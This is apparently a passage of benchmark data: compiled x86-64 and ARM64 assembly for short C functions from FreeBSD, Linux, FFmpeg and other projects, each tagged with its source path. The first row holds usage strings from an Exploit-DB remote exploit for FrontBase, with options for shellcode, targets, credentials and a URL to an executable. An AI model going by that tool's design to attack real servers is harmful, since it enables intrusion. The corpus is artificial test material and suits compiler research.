l_str.23: ; @str.23
.asciz " -p <port> the port of server (default: -1 )"
l_str.24: ; @str.24
.asciz " -s <shellcode> shellcode number (default: 1 )"
l_str.25: ; @str.25
.asciz " -t <target> target number (default: 1 )"
l_str.26: ; @str.26
.asciz " -u <user> user name of frontbase (default: _SYSTEM)"
l_str.27: ; @str.27
.asciz " -p <password> user password (default: <blank>)"
l_str.28: ; @str.28
.asciz " -d <database> database (if port = -1) (default: <blank>)"
l_str.29: ; @str.29
.asciz " -D <dbpassword> database password (default: <blank>)"
l_str.30: ; @str.30
.asciz " -x <url> URL to executable (default: <blank>)"
l_str.31: ; @str.31
.asciz " Shellcodes:\n"
l_str.32: ; @str.32
.asciz " Targets:\n"
l_str.33: ; @str.33
.asciz " Examples:\n"
l_str.34: ; @str.34
.asciz " ----------------------------------------------------------------------- "
.subsections_via_symbols
| AnghaBench/exploitdb/exploits/windows/remote/extr_3650.c_usage.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _nlm_cms_alloc_spill_q ## -- Begin function nlm_cms_alloc_spill_q
.p2align 4, 0x90
_nlm_cms_alloc_spill_q: ## @nlm_cms_alloc_spill_q
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r14
pushq %rbx
.cfi_offset %rbx, -32
.cfi_offset %r14, -24
movq _CMS_MAX_SPILL_SEGMENTS_PER_QUEUE@GOTPCREL(%rip), %rdx
movl $1, %eax
cmpl %ecx, (%rdx)
jl LBB0_2
## %bb.1:
movl %esi, %ebx
movl %edi, %r14d
movl %esi, %edi
callq _CMS_OUTPUTQ_CONFIG
movl %r14d, %edi
movl %eax, %esi
callq _nlm_read_cms_reg
movl %ebx, %edi
callq _CMS_OUTPUTQ_CONFIG
movl %r14d, %edi
movl %eax, %esi
callq _nlm_write_cms_reg
xorl %eax, %eax
LBB0_2:
popq %rbx
popq %r14
popq %rbp
retq
.cfi_endproc
## -- End function
.comm _CMS_MAX_SPILL_SEGMENTS_PER_QUEUE,4,2 ## @CMS_MAX_SPILL_SEGMENTS_PER_QUEUE
.comm _CMS_SPILL_ENA,8,3 ## @CMS_SPILL_ENA
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _nlm_cms_alloc_spill_q ; -- Begin function nlm_cms_alloc_spill_q
.p2align 2
_nlm_cms_alloc_spill_q: ; @nlm_cms_alloc_spill_q
.cfi_startproc
; %bb.0:
stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
Lloh0:
adrp x8, _CMS_MAX_SPILL_SEGMENTS_PER_QUEUE@GOTPAGE
Lloh1:
ldr x8, [x8, _CMS_MAX_SPILL_SEGMENTS_PER_QUEUE@GOTPAGEOFF]
Lloh2:
ldr w8, [x8]
cmp w8, w3
b.ge LBB0_2
; %bb.1:
mov w0, #1
b LBB0_3
LBB0_2:
mov x20, x1
mov x19, x0
mov x0, x1
bl _CMS_OUTPUTQ_CONFIG
mov x1, x0
mov x0, x19
bl _nlm_read_cms_reg
mov x0, x20
bl _CMS_OUTPUTQ_CONFIG
mov x1, x0
mov x0, x19
bl _nlm_write_cms_reg
mov w0, #0
LBB0_3:
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x20, x19, [sp], #32 ; 16-byte Folded Reload
ret
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.cfi_endproc
; -- End function
.comm _CMS_MAX_SPILL_SEGMENTS_PER_QUEUE,4,2 ; @CMS_MAX_SPILL_SEGMENTS_PER_QUEUE
.comm _CMS_SPILL_ENA,8,3 ; @CMS_SPILL_ENA
.subsections_via_symbols
| AnghaBench/freebsd/sys/mips/nlm/hal/extr_fmn.c_nlm_cms_alloc_spill_q.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function h265_metadata_close
_h265_metadata_close: ## @h265_metadata_close
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %rbx
pushq %rax
.cfi_offset %rbx, -24
movq (%rdi), %rbx
movl (%rbx), %edi
leaq 4(%rbx), %rsi
callq _ff_cbs_fragment_free
movq %rbx, %rdi
addq $8, %rsp
popq %rbx
popq %rbp
jmp _ff_cbs_close ## TAILCALL
.cfi_endproc
## -- End function
.no_dead_strip _h265_metadata_close
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function h265_metadata_close
_h265_metadata_close: ; @h265_metadata_close
.cfi_startproc
; %bb.0:
stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
ldr x19, [x0]
mov x1, x19
ldr w0, [x1], #4
bl _ff_cbs_fragment_free
mov x0, x19
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x20, x19, [sp], #32 ; 16-byte Folded Reload
b _ff_cbs_close
.cfi_endproc
; -- End function
.no_dead_strip _h265_metadata_close
.subsections_via_symbols
| AnghaBench/FFmpeg/libavcodec/extr_h265_metadata_bsf.c_h265_metadata_close.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function kvm_vz_config4_guest_wrmask
_kvm_vz_config4_guest_wrmask: ## @kvm_vz_config4_guest_wrmask
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq _MIPS_CONF4_VFTLBPAGESIZE@GOTPCREL(%rip), %rax
movl (%rax), %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.comm _MIPS_CONF4_VFTLBPAGESIZE,4,2 ## @MIPS_CONF4_VFTLBPAGESIZE
.no_dead_strip _kvm_vz_config4_guest_wrmask
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function kvm_vz_config4_guest_wrmask
_kvm_vz_config4_guest_wrmask: ; @kvm_vz_config4_guest_wrmask
.cfi_startproc
; %bb.0:
Lloh0:
adrp x8, _MIPS_CONF4_VFTLBPAGESIZE@GOTPAGE
Lloh1:
ldr x8, [x8, _MIPS_CONF4_VFTLBPAGESIZE@GOTPAGEOFF]
Lloh2:
ldr w0, [x8]
ret
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.cfi_endproc
; -- End function
.comm _MIPS_CONF4_VFTLBPAGESIZE,4,2 ; @MIPS_CONF4_VFTLBPAGESIZE
.no_dead_strip _kvm_vz_config4_guest_wrmask
.subsections_via_symbols
| AnghaBench/linux/arch/mips/kvm/extr_vz.c_kvm_vz_config4_guest_wrmask.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function orangefs_dir_fill
_orangefs_dir_fill: ## @orangefs_dir_fill
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
pushq %rax
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rcx, %r15
movq _PART_MASK@GOTPCREL(%rip), %rax
movq %rax, %rdi
movl (%rax), %eax
andl (%rcx), %eax
movq _PART_SHIFT@GOTPCREL(%rip), %rcx
movb (%rcx), %cl
sarl %cl, %eax
movq %rsi, %r14
decl %eax
cltq
movq 8(%rsi), %rcx
.p2align 4, 0x90
LBB0_1: ## =>This Inner Loop Header: Depth=1
movq %rax, %rdx
movq %rcx, %r13
movq (%rcx), %rcx
addq $-1, %rax
setb %bl
testq %rcx, %rcx
je LBB0_3
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
testb %bl, %bl
jne LBB0_1
LBB0_3:
testq %rdx, %rdx
je LBB0_4
## %bb.11:
movq _EIO@GOTPCREL(%rip), %rax
xorl %ecx, %ecx
subl (%rax), %ecx
xorl %r12d, %r12d
movl %ecx, (%r14)
subl (%rax), %r12d
LBB0_10:
movl %r12d, %eax
addq $8, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
LBB0_4:
movq %rdi, %rbx
xorl %r12d, %r12d
.p2align 4, 0x90
LBB0_5: ## =>This Inner Loop Header: Depth=1
cmpq $0, 8(%r13)
je LBB0_10
## %bb.6: ## in Loop: Header=BB0_5 Depth=1
movq %r13, %rdi
movq %r15, %rsi
callq _fill_from_part
testl %eax, %eax
js LBB0_7
## %bb.8: ## in Loop: Header=BB0_5 Depth=1
je LBB0_10
## %bb.9: ## in Loop: Header=BB0_5 Depth=1
movl (%rbx), %eax
andl (%r15), %eax
movq _PART_SHIFT@GOTPCREL(%rip), %rcx
movzbl (%rcx), %ecx
movl $1, %edx
shll %cl, %edx
addl %eax, %edx
movl %edx, (%r15)
movq (%r13), %r13
testq %r13, %r13
jne LBB0_5
jmp LBB0_10
LBB0_7:
movl %eax, (%r14)
movl %eax, %r12d
jmp LBB0_10
.cfi_endproc
## -- End function
.comm _PART_MASK,4,2 ## @PART_MASK
.comm _PART_SHIFT,4,2 ## @PART_SHIFT
.comm _EIO,4,2 ## @EIO
.no_dead_strip _orangefs_dir_fill
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function orangefs_dir_fill
_orangefs_dir_fill: ; @orangefs_dir_fill
.cfi_startproc
; %bb.0:
stp x24, x23, [sp, #-64]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 64
stp x22, x21, [sp, #16] ; 16-byte Folded Spill
stp x20, x19, [sp, #32] ; 16-byte Folded Spill
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
mov x20, x3
mov x19, x1
ldr w8, [x3]
Lloh0:
adrp x22, _PART_MASK@GOTPAGE
Lloh1:
ldr x22, [x22, _PART_MASK@GOTPAGEOFF]
ldr w9, [x22]
Lloh2:
adrp x23, _PART_SHIFT@GOTPAGE
Lloh3:
ldr x23, [x23, _PART_SHIFT@GOTPAGEOFF]
and w8, w9, w8
ldr w9, [x23]
asr w8, w8, w9
sub w8, w8, #1
sxtw x9, w8
ldr x8, [x1, #8]
LBB0_1: ; =>This Inner Loop Header: Depth=1
mov x10, x9
mov x21, x8
ldr x8, [x8]
subs x9, x9, #1
cset w11, hs
cbz x8, LBB0_3
; %bb.2: ; in Loop: Header=BB0_1 Depth=1
tbnz w11, #0, LBB0_1
LBB0_3:
cbz x10, LBB0_5
; %bb.4:
Lloh4:
adrp x8, _EIO@GOTPAGE
Lloh5:
ldr x8, [x8, _EIO@GOTPAGEOFF]
ldr w9, [x8]
neg w9, w9
str w9, [x19]
ldr w8, [x8]
neg w0, w8
b LBB0_12
LBB0_5:
mov w24, #1
LBB0_6: ; =>This Inner Loop Header: Depth=1
ldr x8, [x21, #8]
cbz x8, LBB0_10
; %bb.7: ; in Loop: Header=BB0_6 Depth=1
mov x0, x21
mov x1, x20
bl _fill_from_part
tbnz w0, #31, LBB0_11
; %bb.8: ; in Loop: Header=BB0_6 Depth=1
cbz w0, LBB0_12
; %bb.9: ; in Loop: Header=BB0_6 Depth=1
ldr w8, [x20]
ldr w9, [x22]
and w8, w9, w8
ldr w9, [x23]
lsl w9, w24, w9
add w8, w9, w8
str w8, [x20]
ldr x21, [x21]
cbnz x21, LBB0_6
LBB0_10:
mov w0, #0
b LBB0_12
LBB0_11:
str w0, [x19]
LBB0_12:
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
ldp x20, x19, [sp, #32] ; 16-byte Folded Reload
ldp x22, x21, [sp, #16] ; 16-byte Folded Reload
ldp x24, x23, [sp], #64 ; 16-byte Folded Reload
ret
.loh AdrpLdrGot Lloh2, Lloh3
.loh AdrpLdrGot Lloh0, Lloh1
.loh AdrpLdrGot Lloh4, Lloh5
.cfi_endproc
; -- End function
.comm _PART_MASK,4,2 ; @PART_MASK
.comm _PART_SHIFT,4,2 ; @PART_SHIFT
.comm _EIO,4,2 ; @EIO
.no_dead_strip _orangefs_dir_fill
.subsections_via_symbols
| AnghaBench/linux/fs/orangefs/extr_dir.c_orangefs_dir_fill.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function bfin_mac_ethtool_setsettings
_bfin_mac_ethtool_setsettings: ## @bfin_mac_ethtool_setsettings
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r14
pushq %rbx
.cfi_offset %rbx, -32
.cfi_offset %r14, -24
movq %rsi, %r14
callq _netdev_priv
movq %rax, %rbx
movq _CAP_NET_ADMIN@GOTPCREL(%rip), %rax
movl (%rax), %edi
callq _capable
testl %eax, %eax
je LBB0_1
## %bb.2:
movq (%rbx), %rdi
testq %rdi, %rdi
je LBB0_3
## %bb.5:
movq %r14, %rsi
popq %rbx
popq %r14
popq %rbp
jmp _phy_ethtool_sset ## TAILCALL
LBB0_1:
movq _EPERM@GOTPCREL(%rip), %rcx
jmp LBB0_4
LBB0_3:
movq _EINVAL@GOTPCREL(%rip), %rcx
LBB0_4:
xorl %eax, %eax
subl (%rcx), %eax
popq %rbx
popq %r14
popq %rbp
retq
.cfi_endproc
## -- End function
.comm _CAP_NET_ADMIN,4,2 ## @CAP_NET_ADMIN
.comm _EPERM,4,2 ## @EPERM
.comm _EINVAL,4,2 ## @EINVAL
.no_dead_strip _bfin_mac_ethtool_setsettings
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function bfin_mac_ethtool_setsettings
_bfin_mac_ethtool_setsettings: ; @bfin_mac_ethtool_setsettings
.cfi_startproc
; %bb.0:
stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
mov x19, x1
bl _netdev_priv
mov x20, x0
Lloh0:
adrp x8, _CAP_NET_ADMIN@GOTPAGE
Lloh1:
ldr x8, [x8, _CAP_NET_ADMIN@GOTPAGEOFF]
Lloh2:
ldr w0, [x8]
bl _capable
cbz w0, LBB0_3
; %bb.1:
ldr x0, [x20]
cbz x0, LBB0_4
; %bb.2:
mov x1, x19
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x20, x19, [sp], #32 ; 16-byte Folded Reload
b _phy_ethtool_sset
LBB0_3:
Lloh3:
adrp x8, _EPERM@GOTPAGE
Lloh4:
ldr x8, [x8, _EPERM@GOTPAGEOFF]
b LBB0_5
LBB0_4:
Lloh5:
adrp x8, _EINVAL@GOTPAGE
Lloh6:
ldr x8, [x8, _EINVAL@GOTPAGEOFF]
LBB0_5:
ldr w8, [x8]
neg w0, w8
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x20, x19, [sp], #32 ; 16-byte Folded Reload
ret
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.loh AdrpLdrGot Lloh3, Lloh4
.loh AdrpLdrGot Lloh5, Lloh6
.cfi_endproc
; -- End function
.comm _CAP_NET_ADMIN,4,2 ; @CAP_NET_ADMIN
.comm _EPERM,4,2 ; @EPERM
.comm _EINVAL,4,2 ; @EINVAL
.no_dead_strip _bfin_mac_ethtool_setsettings
.subsections_via_symbols
| AnghaBench/fastsocket/kernel/drivers/net/extr_bfin_mac.c_bfin_mac_ethtool_setsettings.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _twl4030_audio_enable_resource ## -- Begin function twl4030_audio_enable_resource
.p2align 4, 0x90
_twl4030_audio_enable_resource: ## @twl4030_audio_enable_resource
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %rbx
pushq %rax
.cfi_offset %rbx, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movl %edi, %ebx
movq _twl4030_audio_dev@GOTPCREL(%rip), %r15
movq (%r15), %rdi
callq _platform_get_drvdata
movq %rax, %r14
movq _TWL4030_AUDIO_RES_MAX@GOTPCREL(%rip), %rax
cmpl %ebx, (%rax)
jbe LBB0_1
## %bb.2:
movq %r14, %rdi
callq _mutex_lock
movq 8(%r14), %rax
movl %ebx, %r15d
cmpl $0, (%rax,%r15,4)
je LBB0_3
## %bb.4:
movl %ebx, %edi
callq _twl4030_audio_get_resource
jmp LBB0_5
LBB0_1:
movq (%r15), %rdi
leaq L_.str(%rip), %rsi
movl %ebx, %edx
callq _dev_err
movq _EINVAL@GOTPCREL(%rip), %rax
xorl %ebx, %ebx
subl (%rax), %ebx
jmp LBB0_6
LBB0_3:
movl %ebx, %edi
movl $1, %esi
callq _twl4030_audio_set_resource
LBB0_5:
movl %eax, %ebx
movq 8(%r14), %rax
incl (%rax,%r15,4)
movq %r14, %rdi
callq _mutex_unlock
LBB0_6:
movl %ebx, %eax
addq $8, %rsp
popq %rbx
popq %r14
popq %r15
popq %rbp
retq
.cfi_endproc
## -- End function
.comm _twl4030_audio_dev,8,3 ## @twl4030_audio_dev
.comm _TWL4030_AUDIO_RES_MAX,4,2 ## @TWL4030_AUDIO_RES_MAX
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Invalid resource ID (%u)\n"
.comm _EINVAL,4,2 ## @EINVAL
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _twl4030_audio_enable_resource ; -- Begin function twl4030_audio_enable_resource
.p2align 2
_twl4030_audio_enable_resource: ; @twl4030_audio_enable_resource
.cfi_startproc
; %bb.0:
stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 48
stp x20, x19, [sp, #16] ; 16-byte Folded Spill
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
mov x20, x0
Lloh0:
adrp x21, _twl4030_audio_dev@GOTPAGE
Lloh1:
ldr x21, [x21, _twl4030_audio_dev@GOTPAGEOFF]
ldr x0, [x21]
bl _platform_get_drvdata
Lloh2:
adrp x8, _TWL4030_AUDIO_RES_MAX@GOTPAGE
Lloh3:
ldr x8, [x8, _TWL4030_AUDIO_RES_MAX@GOTPAGEOFF]
Lloh4:
ldr w8, [x8]
cmp w8, w20
b.ls LBB0_3
; %bb.1:
mov x19, x0
bl _mutex_lock
ldr x8, [x19, #8]
mov w21, w20
ldr w8, [x8, w20, uxtw #2]
cbz w8, LBB0_4
; %bb.2:
mov x0, x20
bl _twl4030_audio_get_resource
b LBB0_5
LBB0_3:
ldr x0, [x21]
Lloh5:
adrp x1, l_.str@PAGE
Lloh6:
add x1, x1, l_.str@PAGEOFF
mov x2, x20
bl _dev_err
Lloh7:
adrp x8, _EINVAL@GOTPAGE
Lloh8:
ldr x8, [x8, _EINVAL@GOTPAGEOFF]
Lloh9:
ldr w8, [x8]
neg w20, w8
b LBB0_6
LBB0_4:
mov x0, x20
mov w1, #1
bl _twl4030_audio_set_resource
LBB0_5:
mov x20, x0
ldr x8, [x19, #8]
lsl x9, x21, #2
ldr w10, [x8, x9]
add w10, w10, #1
str w10, [x8, x9]
mov x0, x19
bl _mutex_unlock
LBB0_6:
mov x0, x20
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
ldp x20, x19, [sp, #16] ; 16-byte Folded Reload
ldp x22, x21, [sp], #48 ; 16-byte Folded Reload
ret
.loh AdrpLdrGotLdr Lloh2, Lloh3, Lloh4
.loh AdrpLdrGot Lloh0, Lloh1
.loh AdrpLdrGotLdr Lloh7, Lloh8, Lloh9
.loh AdrpAdd Lloh5, Lloh6
.cfi_endproc
; -- End function
.comm _twl4030_audio_dev,8,3 ; @twl4030_audio_dev
.comm _TWL4030_AUDIO_RES_MAX,4,2 ; @TWL4030_AUDIO_RES_MAX
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Invalid resource ID (%u)\n"
.comm _EINVAL,4,2 ; @EINVAL
.subsections_via_symbols
| AnghaBench/linux/drivers/mfd/extr_twl4030-audio.c_twl4030_audio_enable_resource.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _serial_un_fdopen ## -- Begin function serial_un_fdopen
.p2align 4, 0x90
_serial_un_fdopen: ## @serial_un_fdopen
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
xorl %esi, %esi
popq %rbp
jmp _do_serial_close ## TAILCALL
.cfi_endproc
## -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _serial_un_fdopen ; -- Begin function serial_un_fdopen
.p2align 2
_serial_un_fdopen: ; @serial_un_fdopen
.cfi_startproc
; %bb.0:
mov w1, #0
b _do_serial_close
.cfi_endproc
; -- End function
.subsections_via_symbols
| AnghaBench/freebsd/contrib/gdb/gdb/extr_serial.c_serial_un_fdopen.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _pqisrc_get_tag ## -- Begin function pqisrc_get_tag
.p2align 4, 0x90
_pqisrc_get_tag: ## @pqisrc_get_tag
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %rbx
pushq %rax
.cfi_offset %rbx, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rdi, %rbx
movq _INVALID_ELEM@GOTPCREL(%rip), %rax
movl (%rax), %r14d
leaq 20(%rdi), %r15
movq %r15, %rdi
callq _OS_ACQUIRE_SPINLOCK
xorl %edi, %edi
cmpq $0, (%rbx)
setg %dil
callq _ASSERT
movq (%rbx), %rcx
testq %rcx, %rcx
jle LBB0_5
## %bb.1:
movq 8(%rbx), %rax
movq 24(%rbx), %rdx
movl (%rdx,%rax,4), %r14d
decq %rcx
movq %rcx, (%rbx)
incq %rax
movslq 16(%rbx), %rcx
movq %rax, %rdx
orq %rcx, %rdx
shrq $32, %rdx
je LBB0_2
## %bb.3:
xorl %edx, %edx
divq %rcx
jmp LBB0_4
LBB0_2:
## kill: def $eax killed $eax killed $rax
xorl %edx, %edx
divl %ecx
## kill: def $edx killed $edx def $rdx
LBB0_4:
movq %rdx, 8(%rbx)
LBB0_5:
movq %r15, %rdi
callq _OS_RELEASE_SPINLOCK
movl %r14d, %eax
addq $8, %rsp
popq %rbx
popq %r14
popq %r15
popq %rbp
retq
.cfi_endproc
## -- End function
.comm _INVALID_ELEM,4,2 ## @INVALID_ELEM
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _pqisrc_get_tag ; -- Begin function pqisrc_get_tag
.p2align 2
_pqisrc_get_tag: ; @pqisrc_get_tag
.cfi_startproc
; %bb.0:
stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 48
stp x20, x19, [sp, #16] ; 16-byte Folded Spill
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
mov x21, x0
Lloh0:
adrp x8, _INVALID_ELEM@GOTPAGE
Lloh1:
ldr x8, [x8, _INVALID_ELEM@GOTPAGEOFF]
Lloh2:
ldr w19, [x8]
add x20, x0, #20
mov x0, x20
bl _OS_ACQUIRE_SPINLOCK
ldr x8, [x21]
cmp x8, #0
cset w0, gt
bl _ASSERT
ldr x8, [x21]
subs x8, x8, #1
b.lt LBB0_2
; %bb.1:
ldr x9, [x21, #24]
ldr x10, [x21, #8]
ldr w19, [x9, x10, lsl #2]
add x9, x10, #1
ldrsw x10, [x21, #16]
udiv x11, x9, x10
msub x9, x11, x10, x9
stp x8, x9, [x21]
LBB0_2:
mov x0, x20
bl _OS_RELEASE_SPINLOCK
mov x0, x19
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
ldp x20, x19, [sp, #16] ; 16-byte Folded Reload
ldp x22, x21, [sp], #48 ; 16-byte Folded Reload
ret
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.cfi_endproc
; -- End function
.comm _INVALID_ELEM,4,2 ; @INVALID_ELEM
.subsections_via_symbols
| AnghaBench/freebsd/sys/dev/smartpqi/extr_smartpqi_tag.c_pqisrc_get_tag.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
subq $120, %rsp
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -48(%rbp)
leaq L_str(%rip), %rdi
callq _puts
leaq -160(%rbp), %rbx
movq %rbx, %rdi
callq _gets
xorl %r12d, %r12d
xorl %r13d, %r13d
xorl %r15d, %r15d
xorl %r14d, %r14d
jmp LBB0_1
.p2align 4, 0x90
LBB0_10: ## in Loop: Header=BB0_1 Depth=1
incl %r13d
incq %rbx
LBB0_1: ## =>This Inner Loop Header: Depth=1
movzbl (%rbx), %eax
cmpb $32, %al
je LBB0_10
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
testb %al, %al
je LBB0_8
## %bb.3: ## in Loop: Header=BB0_1 Depth=1
leal -48(%rax), %ecx
cmpb $9, %cl
ja LBB0_5
## %bb.4: ## in Loop: Header=BB0_1 Depth=1
incl %r15d
incq %rbx
jmp LBB0_1
.p2align 4, 0x90
LBB0_5: ## in Loop: Header=BB0_1 Depth=1
andb $-33, %al
addb $-65, %al
cmpb $25, %al
ja LBB0_7
## %bb.6: ## in Loop: Header=BB0_1 Depth=1
incl %r12d
incq %rbx
jmp LBB0_1
LBB0_7: ## in Loop: Header=BB0_1 Depth=1
incl %r14d
incq %rbx
jmp LBB0_1
LBB0_8:
leaq L_str.6(%rip), %rdi
callq _puts
leaq L_.str.2(%rip), %rdi
movl %r12d, %esi
xorl %eax, %eax
callq _printf
leaq L_.str.3(%rip), %rdi
movl %r13d, %esi
xorl %eax, %eax
callq _printf
leaq L_.str.4(%rip), %rdi
movl %r15d, %esi
xorl %eax, %eax
callq _printf
leaq L_.str.5(%rip), %rdi
movl %r14d, %esi
xorl %eax, %eax
callq _printf
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
cmpq -48(%rbp), %rax
jne LBB0_11
## %bb.9:
xorl %eax, %eax
addq $120, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
LBB0_11:
callq ___stack_chk_fail
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str.2: ## @.str.2
.asciz "\350\213\261\346\226\207\345\255\227\346\257\215:%d\344\270\252\n"
L_.str.3: ## @.str.3
.asciz "\347\251\272\346\240\274:%d\344\270\252\n"
L_.str.4: ## @.str.4
.asciz "\346\225\260\345\255\227:%d\344\270\252\n"
L_.str.5: ## @.str.5
.asciz "\345\205\266\344\273\226\345\255\227\347\254\246:%d\344\270\252\n"
L_str: ## @str
.asciz "\350\257\267\350\276\223\345\205\245\344\270\200\350\241\214\345\255\227\347\254\246\357\274\214\346\214\211\345\233\236\350\275\246\347\241\256\350\256\244"
L_str.6: ## @str.6
